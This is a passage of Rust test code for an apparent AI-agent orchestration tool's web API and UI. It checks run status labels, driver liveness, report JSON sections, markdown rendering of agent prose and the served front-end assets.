15925 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
15926 let mut state = RunState::new(
15927 PathBuf::from("/repo/magi"),
15928 "main".to_owned(),
15929 "0123456789abcdef".to_owned(),
15930 "Add a web UI".to_owned(),
15931 Config::default(),
15932 );
15933 state.id = id.to_owned();
15934 state.origin = origin;
15935 let mut value = serde_json::to_value(&state).expect("serialize run");
15936 if let Some(schema) = schema {
15937 value["schema"] = serde_json::json!(schema);
15938 value.as_object_mut().unwrap().remove("origin");
15939 }
15940 let dir = f.runs().join(id);
15941 std::fs::create_dir_all(&dir).expect("run dir");
15942 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
15943 };
15944 write(
15945 "20260930-092817-ec34",
15946 Some(crate::run::Origin::from_agent_env(
15947 Some(("4a7b".to_owned(), "chat".to_owned())),
15948 None,
15949 )),
15950 None,
15951 );
15952 write("20260930-092817-0ld1", None, Some(12));
15953
15954 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
15955 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
15956 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
15957
15958 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
15959 assert_eq!(
15960 old["origin_label"], "origin unknown (started before origins were recorded)",
15961 "{old}"
15962 );
15963 assert!(old["origin"].is_null(), "{old}");
15964
15965 let list = f.get("/api/runs").await.json();
15966 let labels: Vec<_> = list
15967 .as_array()
15968 .unwrap()
15969 .iter()
15970 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
15971 .collect();
15972 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
15973 }
15974
15975 #[tokio::test]
15982 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
15983 let f = Fixture::start().await;
15984 let id = "20260922-090000-cccc";
15985 let mut state = RunState::new(
15986 PathBuf::from("/repo/magi"),
15987 "main".to_owned(),
15988 "0123456789abcdef".to_owned(),
15989 "Review only".to_owned(),
15990 Config::default(),
15991 );
15992 state.id = id.to_owned();
15993 state.status = RunStatus::Reviewing;
15994 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15995 state.driver_pid = Some(std::process::id());
16001 state.driver_started_at = Some(
16002 crate::proc::process_started_at(std::process::id())
16003 .expect("this test process's own start time must be queryable"),
16004 );
16005 let dir = f.runs().join(id);
16006 std::fs::create_dir_all(&dir).expect("run dir");
16007 std::fs::write(
16008 dir.join("run.json"),
16009 serde_json::to_string_pretty(&state).expect("serialize run"),
16010 )
16011 .expect("write run.json");
16012
16013 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16014 assert_eq!(detail["live"], "live", "{detail}");
16015 }
16016
16017 #[tokio::test]
16023 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
16024 let f = Fixture::start().await;
16025 let id = "20260922-090100-dddd";
16026 let mut state = RunState::new(
16027 PathBuf::from("/repo/magi"),
16028 "main".to_owned(),
16029 "0123456789abcdef".to_owned(),
16030 "Review only".to_owned(),
16031 Config::default(),
16032 );
16033 state.id = id.to_owned();
16034 state.status = RunStatus::Reviewing;
16035 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16036 state.driver_pid = Some(std::process::id());
16041 state.driver_started_at = Some("1".to_owned());
16042 let dir = f.runs().join(id);
16043 std::fs::create_dir_all(&dir).expect("run dir");
16044 std::fs::write(
16045 dir.join("run.json"),
16046 serde_json::to_string_pretty(&state).expect("serialize run"),
16047 )
16048 .expect("write run.json");
16049
16050 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16051 assert_eq!(detail["live"], "dead", "{detail}");
16052 }
16053
16054 #[test]
16058 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
16059 let mk = |id: &str, pid: Option<u32>| {
16060 let mut s = RunState::new(
16061 PathBuf::from("/repo/magi"),
16062 "main".to_owned(),
16063 "0123456789abcdef".to_owned(),
16064 "Add a web UI".to_owned(),
16065 Config::default(),
16066 );
16067 s.id = id.to_owned();
16068 s.driver_pid = pid;
16069 s.driver_started_at = Some("1790000000".to_owned());
16070 s
16071 };
16072 let states = vec![
16073 mk("20260902-140502-aaaa", Some(77)),
16074 mk("20260902-140502-bbbb", Some(77)),
16075 mk("20260902-140502-cccc", Some(77)),
16076 mk("20260902-140502-dddd", None),
16077 ];
16078 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16079 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16080 let sup: HashMap<String, String> = [(
16081 "20260902-140502-aaaa".to_owned(),
16082 "20260902-140502-cccc".to_owned(),
16083 )]
16084 .into();
16085
16086 let status_calls = std::cell::Cell::new(0);
16087 let identity_calls = std::cell::Cell::new(0);
16088 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16089 |_| {
16090 status_calls.set(status_calls.get() + 1);
16091 Some(true)
16092 },
16093 |_| {
16094 identity_calls.set(identity_calls.get() + 1);
16095 Some("1790000000".to_owned())
16096 },
16097 ));
16098 let rows = summarize(
16099 states,
16100 &open,
16101 &claimed,
16102 &sup,
16103 |p| probe.borrow_mut().status(p),
16104 |p| probe.borrow_mut().started_at(p),
16105 );
16106
16107 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16108 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16109 assert_eq!(rows.len(), 4);
16110 assert!(!rows[0].waiting && rows[1].waiting);
16111 assert_eq!(rows[0].live, crate::run::Liveness::Live);
16112 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
16113 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
16114 assert_eq!(rows[1].superseded_by, None);
16115 }
16116
16117 #[test]
16118 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
16119 let mut state = RunState::new(
16120 PathBuf::from("/repo/magi"),
16121 "main".to_owned(),
16122 "0123456789abcdef".to_owned(),
16123 "Review only".to_owned(),
16124 Config::default(),
16125 );
16126 state.id = "20260922-090200-dead".to_owned();
16127 state.status = RunStatus::Reviewing;
16128 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
16129 .expect("serialize list row");
16130 assert_eq!(row["status"], "reviewing");
16131 assert_eq!(row["display_status"], "stale");
16132 assert_eq!(row["live"], "dead", "{row}");
16133 assert!(!row["done"].as_bool().unwrap());
16134 }
16135
16136 #[test]
16137 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
16138 use crate::run::Liveness::{Dead, Live, Unknown};
16139 let mut state = RunState::new(
16140 PathBuf::from("/repo/magi"),
16141 "main".to_owned(),
16142 "abc".to_owned(),
16143 "Review only".to_owned(),
16144 Config::default(),
16145 );
16146 for (status, parked, node, waiting, live, expected) in [
16147 (
16148 RunStatus::Judging,
16149 true,
16150 "github-text",
16151 false,
16152 Dead,
16153 "parked",
16154 ),
16155 (RunStatus::Judging, false, "park", false, Dead, "stale"),
16156 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
16157 (
16158 RunStatus::Judging,
16159 true,
16160 "github-text",
16161 true,
16162 Dead,
16163 "waiting",
16164 ),
16165 (
16166 RunStatus::Judging,
16167 false,
16168 "github-text",
16169 true,
16170 Dead,
16171 "waiting",
16172 ),
16173 (
16174 RunStatus::Judging,
16175 false,
16176 "github-text",
16177 false,
16178 Dead,
16179 "stale",
16180 ),
16181 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
16182 (RunStatus::Judging, true, "park", false, Live, "judging"),
16183 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
16184 (RunStatus::Merged, true, "park", false, Dead, "merged"),
16185 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
16186 (
16187 RunStatus::Blocked,
16188 true,
16189 "github-text",
16190 true,
16191 Dead,
16192 "waiting",
16193 ),
16194 ] {
16195 state.status = status;
16196 state.parked = parked;
16197 state.events.clear();
16198 state.event(
16199 "park",
16200 "an earlier park does not determine the latest state",
16201 );
16202 state.event(node, "message is not used for classification");
16203 let summary = RunSummary::of(&state, waiting, live);
16204 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
16205 assert_eq!(
16206 summary.display_status, expected,
16207 "{status:?}/{node}/{live:?}"
16208 );
16209 assert_eq!(detail.display_status, summary.display_status);
16210 assert_eq!(detail.waiting, summary.waiting);
16211 }
16212 state.status = RunStatus::Judging;
16213 state.parked = false;
16214 state.events.clear();
16215 assert_eq!(run_display_status(&state, false, Dead), "stale");
16216 }
16217
16218 #[test]
16219 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
16220 use crate::run::Liveness::{Dead, Live, Unknown};
16221 let mut state = RunState::new(
16222 PathBuf::from("/repo/magi"),
16223 "main".to_owned(),
16224 "abc".to_owned(),
16225 "Badge".to_owned(),
16226 Config::default(),
16227 );
16228 for (status, waiting, live, superseded, expected) in [
16229 (RunStatus::Gating, false, Dead, false, "stale"),
16230 (RunStatus::Gating, false, Dead, true, "superseded"),
16231 (RunStatus::Gating, false, Unknown, true, "superseded"),
16232 (RunStatus::Gating, true, Dead, true, "superseded"),
16233 (RunStatus::Gating, true, Dead, false, "waiting"),
16234 (RunStatus::Gating, false, Unknown, false, "gating"),
16235 (RunStatus::Gating, false, Live, true, "gating"),
16236 (RunStatus::Gating, true, Live, true, "waiting"),
16237 (RunStatus::Merged, false, Dead, true, "merged"),
16238 (RunStatus::Blocked, false, Dead, true, "blocked"),
16239 ] {
16240 state.status = status;
16241 let display = run_display_status(&state, waiting, live);
16242 assert_eq!(
16243 run_badge_status(&state, &display, live, superseded),
16244 expected,
16245 "{status:?}/{live:?}/superseded={superseded}"
16246 );
16247 }
16248 }
16249
16250 #[test]
16251 fn summarize_and_detail_expose_badge_status() {
16252 use crate::run::Liveness::Dead;
16253 let mut state = RunState::new(
16254 PathBuf::from("/repo/magi"),
16255 "main".to_owned(),
16256 "abc".to_owned(),
16257 "Badge".to_owned(),
16258 Config::default(),
16259 );
16260 state.status = RunStatus::Gating;
16261 let none = HashSet::new();
16262 let id = state.id.clone();
16263 let mut by = HashMap::new();
16264 let rows = summarize(
16265 [state.clone()],
16266 &none,
16267 &none,
16268 &by,
16269 |_| Some(false),
16270 |_| None,
16271 );
16272 assert_eq!(rows[0].badge_status, rows[0].display_status);
16274 by.insert(id, "20260901-000000-913b".to_owned());
16275 let detail = RunDetailView::of(
16276 state.clone(),
16277 false,
16278 Dead,
16279 Some("913b".to_owned()),
16280 None,
16281 None,
16282 );
16283 assert_eq!(detail.badge_status, "superseded");
16284 let json = serde_json::to_value(&detail).unwrap();
16285 assert_eq!(json["badge_status"], "superseded");
16286 let detail = RunDetailView::of(state, false, Dead, None, None, None);
16287 assert_eq!(detail.badge_status, "stale");
16288 }
16289
16290 #[tokio::test]
16291 async fn run_display_status_routes_share_the_open_question_store() {
16292 let f = Fixture::start().await;
16293 let id = "20260922-090200-abcd";
16294 write_run(&f.runs(), id, RunStatus::Judging);
16295 let mut state = read_run(&f.runs(), id).unwrap();
16296 state.parked = true;
16297 state.driver_exited = true;
16298 state.event("github-text", "waiting for the owner");
16299 state.save_under(f.home.path()).unwrap();
16300 let mut task = Task::new(
16301 "resumed task".to_owned(),
16302 "do it".to_owned(),
16303 PathBuf::from("/repo"),
16304 Source::Human,
16305 );
16306 task.runs = vec![id.to_owned(), id.to_owned()];
16307 f.queue().put(&mut task).unwrap();
16308 let store = f.questions();
16309 let mut q = Question::new(
16310 id.to_owned(),
16311 "github-text".to_owned(),
16312 "owner".to_owned(),
16313 "Approve the text?".to_owned(),
16314 String::new(),
16315 Vec::new(),
16316 );
16317 store.put(&mut q).unwrap();
16318 for expected in ["waiting", "parked"] {
16319 let list = f.get("/api/runs").await.json();
16320 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16321 assert_eq!(list[0]["display_status"], expected);
16322 assert_eq!(detail["display_status"], expected);
16323 assert_eq!(detail["waiting"], list[0]["waiting"]);
16324 assert_eq!(list[0]["badge_status"], expected);
16325 assert_eq!(detail["badge_status"], expected);
16326 assert!(list[0]["superseded_by"].is_null());
16327 assert!(detail["superseded_by"].is_null());
16328 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
16329 let history = task_detail["history"].as_array().unwrap();
16330 assert_eq!(history.len(), 2);
16331 assert!(history[0]["badge"].is_null());
16332 assert_eq!(history[1]["badge"], expected);
16333 q.status = ask::QuestionStatus::Answered;
16334 store.put(&mut q).unwrap();
16335 }
16336 }
16337
16338 #[tokio::test]
16339 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
16340 let f = Fixture::start().await;
16341 let id = "20260922-090200-abcd";
16342 write_run(&f.runs(), id, RunStatus::Judging);
16343 let mut state = read_run(&f.runs(), id).unwrap();
16344 state.parked = true;
16345 state.driver_exited = true;
16346 state.event("park", "stopped at a node boundary");
16347 state.save_under(f.home.path()).unwrap();
16348
16349 for expected in ["parked", "stale"] {
16350 let list = f.get("/api/runs").await.json();
16351 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16352 assert_eq!(list[0]["live"], "dead");
16353 assert_eq!(list[0]["display_status"], expected);
16354 assert_eq!(detail["display_status"], expected);
16355 state.parked = false;
16358 state.save_under(f.home.path()).unwrap();
16359 }
16360 }
16361
16362 #[tokio::test]
16363 async fn the_run_list_is_newest_first_and_honours_a_limit() {
16364 let f = Fixture::start().await;
16365 for id in [
16366 "20260902-140501-aaaa",
16367 "20260902-140502-bbbb",
16368 "20260902-140503-cccc",
16369 ] {
16370 write_run(&f.runs(), id, RunStatus::Merged);
16371 }
16372
16373 let all = f.get("/api/runs").await.json();
16374 let capped = f.get("/api/runs?limit=2").await.json();
16375
16376 assert_eq!(all[0]["id"], "20260902-140503-cccc");
16377 assert_eq!(all.as_array().map(Vec::len), Some(3));
16378 assert_eq!(capped.as_array().map(Vec::len), Some(2));
16379 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
16380 }
16381
16382 #[tokio::test]
16383 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
16384 let f = Fixture::start().await;
16385 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
16386
16387 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
16388
16389 assert_eq!(res.status, 200);
16390 assert!(
16391 res.headers
16392 .contains("content-type: text/plain; charset=utf-8"),
16393 "a browser must render it, not download it: {}",
16394 res.headers
16395 );
16396 assert!(
16400 res.body.contains("20260902-140501-a1b2"),
16401 "the report is about the run that was asked for: {}",
16402 res.body
16403 );
16404 }
16405
16406 #[tokio::test]
16407 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
16408 crate::run::pin_test_home();
16410 let f = Fixture::start().await;
16411 let id = "20260902-140501-a1b2";
16412 write_run(&f.runs(), id, RunStatus::Stalled);
16413 let path = f.runs().join(id).join("run.json");
16416 let mut v: serde_json::Value =
16417 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16418 v["tally"] = serde_json::json!({
16419 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16420 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
16421 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
16422 "met_quorum": false, "rankings": 1
16423 });
16424 v["reviews"] = serde_json::json!([{
16425 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
16426 "e2e_deferred": true,
16427 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
16428 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
16429 ]}]
16430 }]);
16431 std::fs::write(&path, v.to_string()).unwrap();
16432 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
16433 std::fs::write(
16434 f.runs().join("20260902-140502-dead").join("run.json"),
16435 "{not json",
16436 )
16437 .unwrap();
16438
16439 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16440
16441 assert_eq!(res.status, 200, "{}", res.body);
16442 assert!(res.headers.contains("content-type: application/json"));
16443 let j = res.json();
16444 assert_eq!(j["schema"], 1);
16445 assert_eq!(j["header"]["id"], id);
16446 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
16447 let kinds: Vec<&str> = j["sections"]
16448 .as_array()
16449 .unwrap()
16450 .iter()
16451 .map(|s| s["kind"].as_str().unwrap())
16452 .collect();
16453 assert_eq!(kinds, ["candidates", "tally", "review"]);
16454 let tally = &j["sections"][1]["tally"];
16455 assert_eq!(
16456 (tally["decided"].clone(), tally["provisional"].clone()),
16457 (false.into(), true.into())
16458 );
16459 let round = &j["sections"][2]["rounds"][0];
16460 assert_eq!(round["e2e"]["state"], "deferred");
16461 assert_eq!(round["findings"][0]["severity"], "major");
16462 assert_eq!(round["findings"][0]["blocking"], true);
16463 assert_eq!(round["findings"][0]["state"], "open");
16464
16465 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
16467
16468 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
16470 assert_ne!(bad.status, 200, "{}", bad.body);
16471 assert_eq!(
16472 bad.status,
16473 f.get("/api/runs/20260902-140502-dead/report").await.status
16474 );
16475 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
16476 assert_eq!(
16477 f.get("/api/runs/20260902-999999-ffff/report.json")
16478 .await
16479 .status,
16480 404
16481 );
16482 }
16483
16484 #[tokio::test]
16485 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
16486 crate::run::pin_test_home();
16487 let f = Fixture::start().await;
16488 let id = "20260902-140503-delib";
16489 write_run(&f.runs(), id, RunStatus::Merged);
16490 let path = f.runs().join(id).join("run.json");
16491 let mut v: serde_json::Value =
16492 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16493 v["judgements"] = serde_json::json!([
16494 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16495 ]);
16496 v["tally"] = serde_json::json!({
16497 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16498 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
16499 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
16500 "met_quorum": true, "rankings": 1
16501 });
16502 v["deliberation"] = serde_json::json!([
16503 {
16504 "round": 1,
16505 "turns": [
16506 {
16507 "judge": 1,
16508 "agent": "judge-1",
16509 "body": "I prefer candidate **A** because it has cleaner tests.",
16510 "tentative": "A"
16511 }
16512 ]
16513 },
16514 {
16515 "round": 2,
16516 "turns": [
16517 {
16518 "judge": 1,
16519 "agent": "judge-1",
16520 "body": "Still thinking, no choice yet.",
16521 "tentative": null
16522 }
16523 ]
16524 }
16525 ]);
16526 std::fs::write(&path, v.to_string()).unwrap();
16527
16528 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16529 assert_eq!(res.status, 200, "{}", res.body);
16530 let j = res.json();
16531 let judging = j["sections"]
16532 .as_array()
16533 .unwrap()
16534 .iter()
16535 .find(|s| s["kind"] == "judging")
16536 .expect("judging section exists");
16537
16538 let delib_lines = judging["deliberation"].as_array().unwrap();
16540 assert_eq!(delib_lines.len(), 2);
16541 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
16542 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
16543
16544 let rounds = judging["rounds"].as_array().unwrap();
16546 assert_eq!(rounds.len(), 2);
16547 let r1_t0 = &rounds[0]["turns"][0];
16548 assert_eq!(r1_t0["judge"], 1);
16549 assert_eq!(r1_t0["agent"], "judge-1");
16550 assert_eq!(r1_t0["tentative"], "A");
16551 assert_eq!(
16552 r1_t0["body"],
16553 "I prefer candidate **A** because it has cleaner tests."
16554 );
16555 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
16556
16557 let r2_t0 = &rounds[1]["turns"][0];
16558 assert_eq!(r2_t0["judge"], 1);
16559 assert_eq!(r2_t0["agent"], "judge-1");
16560 assert!(r2_t0["tentative"].is_null());
16561 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
16562 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
16563
16564 let id_empty = "20260902-140504-nodelib";
16566 write_run(&f.runs(), id_empty, RunStatus::Merged);
16567 let path_empty = f.runs().join(id_empty).join("run.json");
16568 let mut v_empty: serde_json::Value =
16569 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
16570 v_empty["judgements"] = serde_json::json!([
16571 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16572 ]);
16573 v_empty["deliberation"] = serde_json::json!([]);
16574 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
16575
16576 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
16577 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
16578 let j_empty = res_empty.json();
16579 let judging_empty = j_empty["sections"]
16580 .as_array()
16581 .unwrap()
16582 .iter()
16583 .find(|s| s["kind"] == "judging")
16584 .expect("judging section exists");
16585 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
16586 }
16587
16588 #[tokio::test]
16589 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
16590 let f = Fixture::start().await;
16591
16592 let html = f.get("/").await;
16593 let css = f.get("/app.css").await;
16594 let js = f.get("/app.js").await;
16595
16596 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
16597 assert!(
16598 html.headers
16599 .contains("content-type: text/html; charset=utf-8")
16600 );
16601 assert!(css.headers.contains("content-type: text/css"));
16602 assert!(js.headers.contains("content-type: text/javascript"));
16603 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
16604 }
16605
16606 #[test]
16607 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
16608 let body = |name: &str| {
16609 let at = APP_JS
16610 .find(name)
16611 .unwrap_or_else(|| panic!("{name} missing"));
16612 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16613 };
16614 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
16615 let note = body("function landRoundNote");
16616 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
16617 assert!(note.contains("Land round ${round}"));
16618 let land = body("function renderLand");
16619 let note_at = land
16620 .find("landRoundNote(pr)")
16621 .expect("renderLand uses the note");
16622 assert!(
16623 note_at
16624 < land
16625 .find("roundRail(pr)")
16626 .expect("renderLand uses the rail")
16627 );
16628 }
16629
16630 #[test]
16631 fn the_runs_page_redesign_keeps_its_guards() {
16632 let body = |name: &str| {
16633 let at = APP_JS
16634 .find(name)
16635 .unwrap_or_else(|| panic!("{name} missing"));
16636 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16637 };
16638 let land = body("function renderLand");
16640 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
16641 assert!(
16642 !land.contains("box.append("),
16643 "renderLand must use append()"
16644 );
16645 assert!(land.contains("append(box, ["));
16646 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
16648 assert!(
16649 body("function applyRoute")
16650 .contains("route.name !== state.route.name || route.id !== state.route.id")
16651 );
16652 assert!(!APP_JS.contains("adviseConvergeDiagram"));
16654 assert!(!INDEX_HTML.contains("advise-converge"));
16655 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
16656 assert!(APP_JS.contains("provisional"));
16657 for id in [
16658 "run-tab-overview",
16659 "run-tab-timeline",
16660 "run-tab-report",
16661 "run-report",
16662 "runs-scope",
16663 ] {
16664 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
16665 }
16666 assert!(!INDEX_HTML.contains("runs-tree"));
16667 assert!(!INDEX_HTML.contains("run-raw-panel"));
16668 assert!(APP_JS.contains("resume"));
16670 assert!(APP_JS.contains("unreadable"));
16672 }
16673
16674 #[test]
16675 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
16676 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
16677 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
16678 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
16679 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
16680 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
16681 assert!(APP_JS.contains("unreadable` : null"));
16683 }
16684
16685 #[test]
16686 fn blocked_run_detail_exposes_the_failed_gate_reason() {
16687 let mut state = RunState::new(
16688 "/repo".into(),
16689 "main".into(),
16690 "abc".into(),
16691 "task".into(),
16692 crate::config::Config::default(),
16693 );
16694 state.status = RunStatus::Blocked;
16695 state.gate_ran = true;
16696 state.gate.push(crate::run::CommandOutcome {
16697 command: "cargo make check".into(),
16698 code: Some(1),
16699 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
16700 duration_ms: 0,
16701 resource_blocked: false,
16702 });
16703 let view = RunDetailView::of(
16704 state,
16705 false,
16706 crate::run::Liveness::Unknown,
16707 None,
16708 None,
16709 None,
16710 );
16711 let value = serde_json::to_value(view).unwrap();
16712 assert_eq!(
16713 value["stop_reason"],
16714 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
16715 );
16716 }
16717
16718 #[test]
16719 fn the_run_detail_payload_says_whether_the_run_is_done() {
16720 for (status, done) in [
16722 (RunStatus::Superseded, true),
16723 (RunStatus::Blocked, true),
16724 (RunStatus::Landing, false),
16725 ] {
16726 let mut state = RunState::new(
16727 std::path::PathBuf::from("/repo"),
16728 "main".to_owned(),
16729 "abc".to_owned(),
16730 "x".to_owned(),
16731 crate::config::Config::default(),
16732 );
16733 state.status = status;
16734 let v = serde_json::to_value(RunDetailView::of(
16735 state,
16736 false,
16737 crate::run::Liveness::Unknown,
16738 None,
16739 None,
16740 None,
16741 ))
16742 .unwrap();
16743 assert_eq!(v["done"], done, "{status:?}");
16744 }
16745 }
16746
16747 fn has_strong(nodes: &[md::Node]) -> bool {
16749 serde_json::to_string(nodes).unwrap().contains("strong")
16750 }
16751
16752 #[test]
16753 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
16754 let mut state = RunState::new(
16755 std::path::PathBuf::from("/repo"),
16756 "main".to_owned(),
16757 "abc".to_owned(),
16758 "x".to_owned(),
16759 crate::config::Config::default(),
16760 );
16761 let proposal = |approach: &str| {
16762 serde_json::json!({
16763 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
16764 })
16765 };
16766 state.advice = Some(
16767 serde_json::from_value(serde_json::json!({
16768 "records": [
16769 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
16770 "proposal": proposal("do **this**")},
16771 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
16772 ],
16773 "synthesis": "- one\n- **two**\n\n`code`",
16774 }))
16775 .unwrap(),
16776 );
16777 state.candidates = serde_json::from_value(serde_json::json!([
16778 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
16779 "summary": "did **it**"},
16780 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
16781 ]))
16782 .unwrap();
16783 state.reviews = serde_json::from_value(serde_json::json!([{
16786 "round": 1, "head": "h",
16787 "reviews": [{
16788 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
16789 "findings": [
16790 {"severity": "nit", "title": "t1", "detail": "plain nit"},
16791 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
16792 ],
16793 }],
16794 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
16795 "fix": {"agent": "a", "notes": "fixed **it**",
16796 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
16797 }, {"round": 2, "head": "h2", "reviews": []}]))
16798 .unwrap();
16799
16800 let v = serde_json::to_value(RunDetailView::of(
16801 state,
16802 false,
16803 crate::run::Liveness::Unknown,
16804 None,
16805 None,
16806 None,
16807 ))
16808 .unwrap();
16809
16810 let strong = |p: &str| {
16811 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
16812 assert!(n.to_string().contains("strong"), "{p}: {n}");
16813 };
16814 strong("/advice_md/synthesis");
16815 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
16816 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
16817 strong("/advice_md/approaches/0");
16818 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
16819 strong("/candidate_summaries_md/0");
16820 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
16821 strong("/reviews_md/0/reviewers/0/summary");
16822 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
16823 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
16824 assert!(f[1].to_string().contains("strong"));
16825 strong("/reviews_md/0/reconsideration/0");
16826 strong("/reviews_md/0/fix/notes");
16827 strong("/reviews_md/0/fix/rejected/0");
16828 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
16829 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
16830 assert_eq!(v["candidates"][0]["summary"], "did **it**");
16832 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
16833 }
16834
16835 #[test]
16836 fn a_run_without_advice_has_no_advice_md() {
16837 let state = RunState::new(
16838 std::path::PathBuf::from("/repo"),
16839 "main".to_owned(),
16840 "abc".to_owned(),
16841 "x".to_owned(),
16842 crate::config::Config::default(),
16843 );
16844 let p = run_prose_md(&state);
16845 assert!(p.advice_md.is_none());
16846 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
16847 }
16848
16849 #[test]
